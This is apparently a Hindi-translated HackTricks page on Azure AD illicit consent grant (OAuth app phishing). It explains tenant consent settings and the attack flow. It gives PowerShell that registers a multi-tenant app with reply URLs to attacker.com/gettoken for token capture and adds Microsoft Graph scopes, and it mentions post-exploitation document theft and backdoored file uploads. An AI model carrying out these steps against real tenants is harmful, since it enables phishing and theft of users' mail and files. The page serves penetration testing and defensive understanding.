Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure Applications उपयोगकर्ता डेटा (बुनियादी जानकारी, लेकिन दस्तावेज़ों तक पहुंच, ईमेल भेजने...) तक पहुंच के लिए अनुमतियों के लिए पूछते हैं। यदि अनुमति दी गई, तो एक सामान्य उपयोगकर्ता केवल "कम प्रभाव" अनुमतियों के लिए सहमति दे सकता है। सभी अन्य मामलों में, व्यवस्थापक की सहमति आवश्यक हैGA, ApplicationAdministrator, CloudApplication Administrator और एक कस्टम भूमिका जिसमें अनुप्रयोगों को अनुमतियाँ देने की अनुमति शामिल है, पूरे टेनेट के लिए सहमति प्रदान कर सकते हैं।

केवल वे अनुमतियाँ जो व्यवस्थापक की सहमति की आवश्यकता नहीं होती उन्हें कम प्रभाव के रूप में वर्गीकृत किया जाता है। ये अनुमतियाँ बुनियादी साइन-इन के लिए आवश्यक हैं जैसे openid, profile, email, User.Read और offline_access। यदि एक संगठन सभी ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति देता है, तो एक कर्मचारी एक ऐप को उनकी प्रोफ़ाइल से उपरोक्त पढ़ने के लिए सहमति दे सकता है

इसलिए, एक हमलावर एक दुष्ट ऐप तैयार कर सकता है और फिशिंग के माध्यम से उपयोगकर्ता को ऐप स्वीकार करने और उसका डेटा चुराने के लिए मजबूर कर सकता है।

  • Unauthenticated: एक बाहरी खाते से User.Read और User.ReadBasic.All अनुमतियों के साथ एक एप्लिकेशन बनाएं, एक उपयोगकर्ता को फिश करें, और आप निर्देशिका की जानकारी तक पहुँच सकेंगे।

  • यह फिश किए गए उपयोगकर्ता को बाहरी वातावरण से OAuth ऐप्स को स्वीकार करने में सक्षम होने की आवश्यकता है!

  • Authenticated: पर्याप्त विशेषाधिकारों के साथ एक प्रिंसिपल को समझौता करने के बाद, खाते के अंदर एक एप्लिकेशन बनाएं और कुछ विशेषाधिकार प्राप्त उपयोगकर्ता को फिश करें जो विशेषाधिकार प्राप्त OAuth अनुमतियों को स्वीकार कर सकता है।

  • इस मामले में आप पहले से ही निर्देशिका की जानकारी तक पहुँच सकते हैं, इसलिए अनुमति User.ReadBasic.All अब दिलचस्प नहीं है।

  • आप संभवतः अनुमतियों में रुचि रखते हैं जिन्हें एक व्यवस्थापक को उन्हें देने की आवश्यकता होती है, क्योंकि सामान्य उपयोगकर्ता OAuth ऐप्स को कोई अनुमति नहीं दे सकता, इसलिए आपको केवल उन उपयोगकर्ताओं को फिश करना होगा (कौन सी भूमिकाएँ/अनुमतियाँ इस विशेषाधिकार को देती हैं, इसके बारे में बाद में अधिक जानकारी)

Azure Active Directory (Azure AD) में उपयोगकर्ताओं के लिए अनुप्रयोगों पर सहमति देने की उनकी क्षमता के संबंध में सहमति कॉन्फ़िगरेशन की जांच करने के लिए निम्नलिखित PowerShell कमांड का उपयोग किया जाता है:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • उपयोगकर्ता सहमति अक्षम करें: यह सेटिंग उपयोगकर्ताओं को अनुप्रयोगों को अनुमतियाँ देने से रोकती है। अनुप्रयोगों के लिए कोई उपयोगकर्ता सहमति की अनुमति नहीं है।

  • उपयोगकर्ता सत्यापित प्रकाशकों या आपके संगठन से ऐप्स के लिए सहमति दे सकते हैं, लेकिन केवल उन अनुमतियों के लिए जिन्हें आप चुनते हैं: यह सेटिंग सभी उपयोगकर्ताओं को केवल उन अनुप्रयोगों के लिए सहमति देने की अनुमति देती है जो एक सत्यापित प्रकाशक द्वारा प्रकाशित किए गए हैं और आपके अपने टेनेट में पंजीकृत अनुप्रयोग हैं। यह विशिष्ट अनुमतियों के लिए सहमति की अनुमति देकर नियंत्रण की एक परत जोड़ता है।

  • उपयोगकर्ता सभी ऐप्स के लिए सहमति दे सकते हैं: यह सेटिंग अधिक उदार है और सभी उपयोगकर्ताओं को किसी भी अनुप्रयोग के लिए किसी भी अनुमतियों के लिए सहमति देने की अनुमति देती है, जब तक कि उन अनुमतियों के लिए प्रशासनिक सहमति की आवश्यकता नहीं होती।

  • कस्टम ऐप सहमति नीति: यह सेटिंग इंगित करती है कि एक कस्टम नीति लागू है, जिसे विशिष्ट संगठनात्मक आवश्यकताओं के अनुसार अनुकूलित किया जा सकता है और इसमें ऐप प्रकाशक, ऐप द्वारा अनुरोधित अनुमतियों और अन्य कारकों के आधार पर प्रतिबंधों का संयोजन शामिल हो सकता है।

गैरकानूनी सहमति अनुदान हमले को समझना

गैरकानूनी सहमति अनुदान हमले में, हमलावर अंत उपयोगकर्ताओं को Azure के साथ पंजीकृत एक दुर्भावनापूर्ण अनुप्रयोग को अनुमतियाँ देने के लिए धोखा देते हैं। यह अनुप्रयोग को वैध दिखाकर किया जाता है, जिससे पीड़ित अनजाने में "स्वीकृत करें" बटन पर क्लिक कर देते हैं। परिणामस्वरूप, Azure AD हमलावर की साइट को एक टोकन जारी करता है, जिससे उन्हें पीड़ित के डेटा तक पहुँचने और उसे संशोधित करने की अनुमति मिलती है, जैसे ईमेल पढ़ना या भेजना और फ़ाइलों तक पहुँच प्राप्त करना, बिना किसी संगठनात्मक खाते की आवश्यकता के।

हमले का प्रवाह अवलोकन

हमला एक सामान्य कंपनी को लक्षित करने वाले कई चरणों में शामिल है। यह इस प्रकार हो सकता है:

  1. डोमेन पंजीकरण और अनुप्रयोग होस्टिंग: हमलावर एक विश्वसनीय साइट के समान डोमेन पंजीकृत करता है, उदाहरण के लिए, "safedomainlogin.com"। इस डोमेन के तहत, एक उपडोमेन बनाया जाता है (जैसे, "companyname.safedomainlogin.com") जो एक अनुप्रयोग को होस्ट करने के लिए डिज़ाइन किया गया है जो प्राधिकरण कोड कैप्चर करता है और पहुँच टोकन का अनुरोध करता है।

  2. Azure AD में अनुप्रयोग पंजीकरण: इसके बाद, हमलावर अपने Azure AD टेनेट में एक मल्टी-टेनेट अनुप्रयोग पंजीकृत करता है, जिसका नाम लक्षित कंपनी के नाम पर रखा जाता है ताकि यह वैध दिखे। वे अनुप्रयोग के रीडायरेक्ट URL को दुर्भावनापूर्ण अनुप्रयोग को होस्ट करने वाले उपडोमेन की ओर इंगित करते हैं।

  3. अनुमतियों की सेटिंग: हमलावर अनुप्रयोग को विभिन्न API अनुमतियों के साथ सेट करता है (जैसे, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)। ये अनुमतियाँ, एक बार उपयोगकर्ता द्वारा दी गई, हमलावर को उपयोगकर्ता की ओर से संवेदनशील जानकारी निकालने की अनुमति देती हैं।

  4. दुर्भावनापूर्ण लिंक वितरित करना: हमलावर एक लिंक तैयार करता है जिसमें दुर्भावनापूर्ण अनुप्रयोग का क्लाइंट आईडी होता है और इसे लक्षित उपयोगकर्ताओं के साथ साझा करता है, उन्हें सहमति देने के लिए धोखा देता है।

हमले के लिए उपकरणों का उपयोग करना

हमले को 365-Stealer जैसे उपकरणों का उपयोग करके सुविधाजनक बनाया जा सकता है।

पूर्व-हमला तैयारी:

यदि हमलावर को पीड़ित संगठन में किसी उपयोगकर्ता तक कुछ स्तर की पहुँच है, तो वे यह जांच सकते हैं कि क्या संगठन की नीति उपयोगकर्ता को ऐप्स स्वीकार करने की अनुमति देती है:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

अटैक को निष्पादित करने के लिए, अटैकर को अपने Azure टेनेट में एक नया ऐप बनाना होगा (ऐप रजिस्ट्रेशन में), जिसे निम्नलिखित अनुमतियों के साथ कॉन्फ़िगर किया गया है:

User.ReadBasic.All Microsoft Graph में Delegated permissions के अंदर है। (एप्लिकेशन अनुमतियों के लिए हमेशा अतिरिक्त अनुमोदन की आवश्यकता होगी)।

  • User.ReadBasic.All वह अनुमति है जो आपको संगठन के सभी उपयोगकर्ताओं की जानकारी पढ़ने की अनुमति देगी यदि इसे प्रदान किया गया।

  • याद रखें कि केवल GA, ApplicationAdministrator, CloudApplication Administrator और एक कस्टम भूमिका जिसमें अनुमतियों को एप्लिकेशनों को देने की अनुमति शामिल है, टेनेट-व्यापी सहमति प्रदान कर सकते हैं। इसलिए, यदि आप चाहते हैं कि वह ऐप को मंजूरी दे जो प्रशासनिक सहमति की आवश्यकता है, तो आपको उनमें से किसी एक भूमिका वाले उपयोगकर्ता को फ़िश करना चाहिए

आप CLI के माध्यम से एक ऐप भी बना सकते हैं:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

चेक करें https://www.alteredsecurity.com/post/introduction-to-365-stealer यह जानने के लिए कि इसे कैसे कॉन्फ़िगर करें।

ध्यान दें कि प्राप्त access token graph endpoint के लिए होगा जिसमें स्कोप हैं: User.Read और User.ReadBasic.All (अनुरोधित अनुमतियाँ)। आप अन्य क्रियाएँ नहीं कर पाएंगे (लेकिन ये संगठन में सभी उपयोगकर्ताओं के बारे में जानकारी डाउनलोड करने के लिए पर्याप्त हैं)।

आप इस उपकरण का उपयोग करके इस हमले को भी कर सकते हैं।

Post-Exploitation

एक बार जब आपको उपयोगकर्ता तक पहुँच मिल जाती है, तो आप संवेदनशील दस्तावेज़ चुराने और यहां तक कि बैकडोर दस्तावेज़ फ़ाइलें अपलोड करने जैसी चीजें कर सकते हैं।

References

HackTricks का समर्थन करें

Last updated